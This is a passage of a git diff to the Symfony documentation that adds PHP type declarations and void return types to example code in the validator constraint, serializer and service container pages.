                 $metadata->addPropertyConstraint('rawPassword', new Assert\NotCompromisedPassword());
             }
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index e957971ade0..37b03c35907 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -36,12 +36,12 @@ the following:
         class Person
         {
             #[Assert\NotEqualTo('Mary')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\NotEqualTo(
                 value: 15,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -87,7 +87,9 @@ the following:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotEqualTo('Mary'));
 
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index c95a791a7bb..ba28fdb7c45 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -37,12 +37,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\NotIdenticalTo('Mary')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\NotIdenticalTo(
                 value: 15,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -88,7 +88,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo('Mary'));
 
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index ff0f8eaf27a..f1a27bd6560 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -29,7 +29,7 @@ class were not strictly equal to ``null``, you would:
         class Author
         {
             #[Assert\NotNull]
-            protected $firstName;
+            protected string $firstName;
         }
 
     .. code-block:: yaml
@@ -65,7 +65,9 @@ class were not strictly equal to ``null``, you would:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotNull());
             }
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index 523a03be65c..d2e6adc30d7 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -29,7 +29,7 @@ positive number (greater than zero):
         class Employee
         {
             #[Assert\Positive]
-            protected $income;
+            protected int $income;
         }
 
     .. code-block:: yaml
@@ -66,7 +66,9 @@ positive number (greater than zero):
 
         class Employee
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('income', new Assert\Positive());
             }
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index 7596bdf3e50..4aa8420993c 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -28,7 +28,7 @@ is positive or zero:
         class Person
         {
             #[Assert\PositiveOrZero]
-            protected $siblings;
+            protected int $siblings;
         }
 
     .. code-block:: yaml
@@ -64,7 +64,9 @@ is positive or zero:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\PositiveOrZero());
             }
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 4846c01fd2c..edd199c48b9 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -31,7 +31,7 @@ you might add the following:
                 max: 180,
                 notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
             )]
-            protected $height;
+            protected int $height;
         }
 
     .. code-block:: yaml
@@ -74,7 +74,9 @@ you might add the following:
 
         class Participant
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('height', new Assert\Range([
                     'min' => 120,
@@ -107,7 +109,7 @@ date must lie within the current year like this:
                 min: 'first day of January',
                 max: 'first day of January next year',
             )]
-            protected $startDate;
+            protected \DateTimeInterface $startDate;
         }
 
     .. code-block:: yaml
@@ -148,7 +150,9 @@ date must lie within the current year like this:
 
         class Event
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('startDate', new Assert\Range([
                     'min' => 'first day of January',
@@ -175,7 +179,7 @@ dates. If you want to fix the timezone, append it to the date string:
                 min: 'first day of January UTC',
                 max: 'first day of January next year UTC',
             )]
-            protected $startDate;
+            protected \DateTimeInterface $startDate;
         }
 
     .. code-block:: yaml
@@ -216,7 +220,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Event
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('startDate', new Assert\Range([
                     'min' => 'first day of January UTC',
@@ -243,7 +249,7 @@ can check that a delivery date starts within the next five hours like this:
                 min: 'now',
                 max: '+5 hours',
             )]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -284,7 +290,9 @@ can check that a delivery date starts within the next five hours like this:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\Range([
                     'min' => 'now',
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index abfc30a9343..1028c005ab1 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -29,7 +29,7 @@ more word characters at the beginning of your string:
         class Author
         {
             #[Assert\Regex('/^\w+/')]
-            protected $description;
+            protected string $description;
         }
 
     .. code-block:: yaml
@@ -67,7 +67,9 @@ more word characters at the beginning of your string:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('description', new Assert\Regex([
                     'pattern' => '/^\w+/',
@@ -96,7 +98,7 @@ it a custom message:
                 match: false,
                 message: 'Your name cannot contain a number',
             )]
-            protected $firstName;
+            protected string $firstName;
         }
 
     .. code-block:: yaml
@@ -139,7 +141,9 @@ it a custom message:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\Regex([
                     'pattern' => '/\d/',
@@ -187,7 +191,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 pattern: '/^[a-z]+$/i',
                 htmlPattern: '^[a-zA-Z]+$'
             )]
-            protected $name;
+            protected string $name;
         }
 
     .. code-block:: yaml
@@ -228,7 +232,9 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new Assert\Regex([
                     'pattern' => '/^[a-z]+$/i',
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 950b5e81426..7620997f0a3 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -53,7 +53,7 @@ You can validate each of these constraints sequentially to solve these issues:
                 new Assert\Regex(Place::ADDRESS_REGEX),
                 new AcmeAssert\Geolocalizable,
             ])]
-            public $address;
+            public string $address;
         }
 
     .. code-block:: yaml
@@ -105,7 +105,7 @@ You can validate each of these constraints sequentially to solve these issues:
 
         class Place
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('address', new Assert\Sequentially([
                     new Assert\NotNull(),
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 9b9f4af4c73..8b69d2c3b00 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -31,7 +31,7 @@ of the day when the event starts:
              * @var string A "H:i:s" formatted value
              */
             #[Assert\Time]
-            protected $startsAt;
+            protected string $startsAt;
         }
 
     .. code-block:: yaml
@@ -70,9 +70,9 @@ of the day when the event starts:
            /**
             * @var string A "H:i:s" formatted value
             */
-            protected $startsAt;
+            protected string $startsAt;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('startsAt', new Assert\Time());
             }
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index e410c5dee90..ffc1cee9fdd 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -27,7 +27,7 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
         class UserSettings
         {
             #[Assert\Timezone]
-            protected $timezone;
+            protected string $timezone;
         }
 
     .. code-block:: yaml
@@ -63,7 +63,9 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
 
         class UserSettings
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('timezone', new Assert\Timezone());
             }
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index b39431e2304..0f92c9cce54 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -39,13 +39,13 @@ that all have constraints on their properties.
              */
             #[ORM\Column]
             #[Assert\NotBlank]
-            protected $name = '';
+            protected string $name = '';
 
             /**
              * @var Collection|Book[]
              */
             #[ORM\ManyToMany(targetEntity: Book::class)]
-            protected $books;
+            protected ArrayCollection $books;
 
             // some other properties
 
@@ -77,7 +77,7 @@ that all have constraints on their properties.
             // neither the method above nor any other specific getter
             // could be used to validated all nested books;
             // this object needs to be traversed to call the iterator
-            public function getIterator()
+            public function getIterator(): \Iterator
             {
                 return $this->books->getIterator();
             }
@@ -115,7 +115,7 @@ that all have constraints on their properties.
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Traverse());
             }
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 6f99fe76b3c..e1b41c7e350 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -33,19 +33,19 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
         class Author
         {
             #[Assert\Type(Address::class)]
-            protected $emailAddress;
+            protected Address $emailAddress;
 
             #[Assert\Type('string')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\Type(
                 type: 'integer',
                 message: 'The value {{ value }} is not a valid {{ type }}.',
             )]
-            protected $age;
+            protected int $age;
 
             #[Assert\Type(type: ['alpha', 'digit'])]
-            protected $accessCode;
+            protected string $accessCode;
         }
 
     .. code-block:: yaml
@@ -115,7 +115,9 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('emailAddress', new Assert\Type(Address::class));
 
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 1ecdbf6659f..59b481b3175 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -24,7 +24,7 @@ Basic Usage
         class File
         {
             #[Assert\Ulid]
-            protected $identifier;
+            protected string $identifier;
         }
 
     .. code-block:: yaml
@@ -60,6 +60,8 @@ Basic Usage
 
         class File
         {
+            // ...
+
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('identifier', new Assert\Ulid());
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 4c5c5945e76..5c894bcc443 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -43,7 +43,7 @@ strings:
         class Person
         {
             #[Assert\Unique]
-            protected $contactEmails;
+            protected array $contactEmails;
         }
 
     .. code-block:: yaml
@@ -79,7 +79,9 @@ strings:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('contactEmails', new Assert\Unique());
             }
@@ -119,7 +121,7 @@ collection::
         class Poi
         {
             #[Assert\Unique(fields=['latitude', 'longitude'])]
-            protected $coordinates;
+            protected array $coordinates;
         }
 
     .. code-block:: yaml
@@ -161,7 +163,9 @@ collection::
 
         class Poi
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('coordinates', new Assert\Unique([
                     'fields' => ['latitude', 'longitude'],
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index fc00b3b9476..8ad7ed1526a 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -48,7 +48,7 @@ between all of the rows in your user table:
         {
             #[ORM\Column(name: 'email', type: 'string', length: 255, unique: true)]
             #[Assert\Email]
-            protected $email;
+            protected string $email;
         }
 
     .. code-block:: yaml
@@ -91,7 +91,9 @@ between all of the rows in your user table:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new UniqueEntity([
                     'fields' => 'email',
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 47b90a05c37..2c3420df7c6 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -24,7 +24,7 @@ Basic Usage
         class Author
         {
             #[Assert\Url]
-            protected $bioUrl;
+            protected string $bioUrl;
         }
 
     .. code-block:: yaml
@@ -60,7 +60,9 @@ Basic Usage
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioUrl', new Assert\Url());
             }
@@ -107,7 +109,7 @@ Parameter        Description
             #[Assert\Url(
                 message: 'The url {{ value }} is not a valid url',
             )]
-            protected $bioUrl;
+            protected string $bioUrl;
         }
 
     .. code-block:: yaml
@@ -146,7 +148,9 @@ Parameter        Description
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
                     'message' => 'The url "{{ value }}" is not a valid url.',
@@ -181,7 +185,7 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             #[Assert\Url(
                 protocols: ['http', 'https', 'ftp'],
             )]
-            protected $bioUrl;
+            protected string $bioUrl;
         }
 
     .. code-block:: yaml
@@ -223,7 +227,9 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
                     'protocols' => ['http', 'https', 'ftp'],
@@ -254,7 +260,7 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
             #[Assert\Url(
                 relativeProtocol: true,
             )]
-            protected $bioUrl;
+            protected string $bioUrl;
         }
 
     .. code-block:: yaml
@@ -292,7 +298,9 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
                     'relativeProtocol' => true,
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index ad2d0a3eda8..5981be99b66 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -43,7 +43,7 @@ the user's current password:
             #[SecurityAssert\UserPassword(
                 message: 'Wrong value for your current password',
             )]
-            protected $oldPassword;
+            protected string $oldPassword;
         }
 
     .. code-block:: yaml
@@ -84,7 +84,9 @@ the user's current password:
 
         class ChangePassword
         {
-            public static function loadValidatorData(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorData(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint(
                     'oldPassword',
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 14f6a3916e3..c93a4800713 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -27,7 +27,7 @@ Basic Usage
         class File
         {
             #[Assert\Uuid]
-            protected $identifier;
+            protected string $identifier;
         }
 
     .. code-block:: yaml
@@ -63,7 +63,9 @@ Basic Usage
 
         class File
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('identifier', new Assert\Uuid());
             }
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 3c0e1937708..e629d169247 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -24,8 +24,9 @@ stores an ``Address`` instance in the ``$address`` property::
 
     class Address
     {
-        protected $street;
-        protected $zipCode;
+        protected string $street;
+
+        protected string $zipCode;
     }
 
 .. code-block:: php
@@ -35,9 +36,11 @@ stores an ``Address`` instance in the ``$address`` property::
 
     class Author
     {
-        protected $firstName;
-        protected $lastName;
-        protected $address;
+        protected string $firstName;
+
+        protected string $lastName;
+
+        protected Address $address;
     }
 
 .. configuration-block::
@@ -52,11 +55,11 @@ stores an ``Address`` instance in the ``$address`` property::
         class Address
         {
             #[Assert\NotBlank]
-            protected $street;
+            protected string $street;
 
             #[Assert\NotBlank]
             #[Assert\Length(max: 5)]
-            protected $zipCode;
+            protected string $zipCode;
         }
 
         // src/Entity/Author.php
@@ -68,12 +71,12 @@ stores an ``Address`` instance in the ``$address`` property::
         {
             #[Assert\NotBlank]
             #[Assert\Length(min: 4)]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\NotBlank]
-            protected $lastName;
+            protected string $lastName;
 
-            protected $address;
+            protected Address $address;
         }
 
     .. code-block:: yaml
@@ -140,7 +143,9 @@ stores an ``Address`` instance in the ``$address`` property::
 
         class Address
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('street', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('zipCode', new Assert\NotBlank());
@@ -156,7 +161,9 @@ stores an ``Address`` instance in the ``$address`` property::
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('firstName', new Assert\Length(['min' => 4]));
@@ -180,7 +187,7 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
         class Author
         {
             #[Assert\Valid]
-            protected $address;
+            protected Address $address;
         }
 
     .. code-block:: yaml
@@ -216,7 +223,9 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('address', new Assert\Valid());
             }
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index d5d6f10dd86..a67bf15f141 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -118,7 +118,7 @@ services:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
@@ -180,7 +180,7 @@ the generic ``app.lock`` service can be defined as follows:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
@@ -1097,12 +1097,12 @@ required option: ``alias``, which defines the name of the extractor::
 
     class FooExtractor implements ExtractorInterface
     {
-        protected $prefix;
+        protected string $prefix;
 
         /**
          * Extracts translation messages from a template directory to the catalog.
          */
-        public function extract($directory, MessageCatalogue $catalog)
+        public function extract(string $directory, MessageCatalogue $catalog)
         {
             // ...
         }
diff --git a/serializer.rst b/serializer.rst
index 8da6df57c40..0afb1742f82 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -176,7 +176,7 @@ You can also specify the context on a per-property basis::
             /**
              * @Context({ DateTimeNormalizer::FORMAT_KEY = 'Y-m-d' })
              */
-            public $createdAt;
+            public \DateTimeInterface $createdAt;
 
             // ...
         }
@@ -191,7 +191,7 @@ You can also specify the context on a per-property basis::
         class Person
         {
             #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
-            public $createdAt;
+            public \DateTimeInterface $createdAt;
 
             // ...
         }
@@ -234,7 +234,7 @@ Use the options to specify context specific to normalization or denormalization:
             normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
             denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
         )]
-        public $createdAt;
+        public \DateTimeInterface $createdAt;
 
         // ...
     }
@@ -255,7 +255,7 @@ You can also restrict the usage of a context to some groups::
             context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
             groups: ['extended'],
         )]
-        public $createdAt;
+        public \DateTimeInterface $createdAt;
 
         // ...
     }
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 4956bcee957..33d26c8d0b7 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -55,7 +55,7 @@ You can also control the ``public`` option on a service-by-service basis:
 
         use App\Service\Foo;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Foo::class)
@@ -127,7 +127,7 @@ services.
 
         use App\Mail\PhpMailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(PhpMailer::class)
@@ -269,7 +269,7 @@ The following example shows how to inject an anonymous service into another serv
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Foo::class)
@@ -320,7 +320,7 @@ Using an anonymous service as a factory looks like this:
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Foo::class)
@@ -366,7 +366,7 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
         use App\Service\OldService;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(OldService::class)
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d1fce9f20fd..4f62e24e10f 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -102,7 +102,7 @@ both services:
     .. code-block:: php
 
         // config/services.php
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services()
                 ->defaults()
                     ->autowire()
@@ -239,7 +239,7 @@ adding a service alias:
 
         use App\Util\Rot13Transformer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             // the id is not a class, so it won't be used for autowiring
@@ -347,7 +347,7 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
         use App\Util\Rot13Transformer;
         use App\Util\TransformerInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             $services->set(Rot13Transformer::class);
@@ -512,7 +512,7 @@ the injection::
         use App\Util\TransformerInterface;
         use App\Util\UppercaseTransformer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             $services->set(Rot13Transformer::class)->autowire();
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 0ae5bb76e06..98f9dc2bc86 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -66,7 +66,7 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             $services->set(MessageGenerator::class)
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 6505c496863..2cf9cdb471f 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -167,7 +167,7 @@ all the classes are already loaded as services. All you need to do is specify th
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
@@ -236,7 +236,7 @@ Services can be configured via invokable configurators (replacing the
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index e5a025276dc..7847a87b3b8 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -55,7 +55,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
         use App\Mail\MailerConfiguration;
         use App\Mailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             $services->set(MailerConfiguration::class);
@@ -116,7 +116,7 @@ via a ``container`` variable. Here's another example:
 
         use App\Mailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Mailer::class)
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 452b073ffe1..9e46faf9d88 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -74,7 +74,7 @@ create its object:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerStaticFactory;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -156,7 +156,7 @@ You can omit the class on the factory declaration:
 
         use App\Email\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // Note that we are not using service()
@@ -218,7 +218,7 @@ Configuration of the service container then looks like this:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // first, create a service for the factory
@@ -296,7 +296,7 @@ method name:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -432,7 +432,7 @@ previous examples takes the ``templating`` service as an argument:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
diff --git a/service_container/import.rst b/service_container/import.rst
index 1e0fcfb2cee..d5056032115 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -116,7 +116,7 @@ a relative or absolute path to the imported file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $container->import('services/mailer.php');
             // If you want to import a whole directory:
             $container->import('services/');
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 959a0008207..060a95bffc0 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -69,7 +69,7 @@ service container configuration:
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -272,7 +272,7 @@ that accepts the dependency::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -311,7 +311,7 @@ Another possibility is setting public fields of the class directly::
     // ...
     class NewsletterManager
     {
-        public $mailer;
+        public MailerInterface $mailer;
 
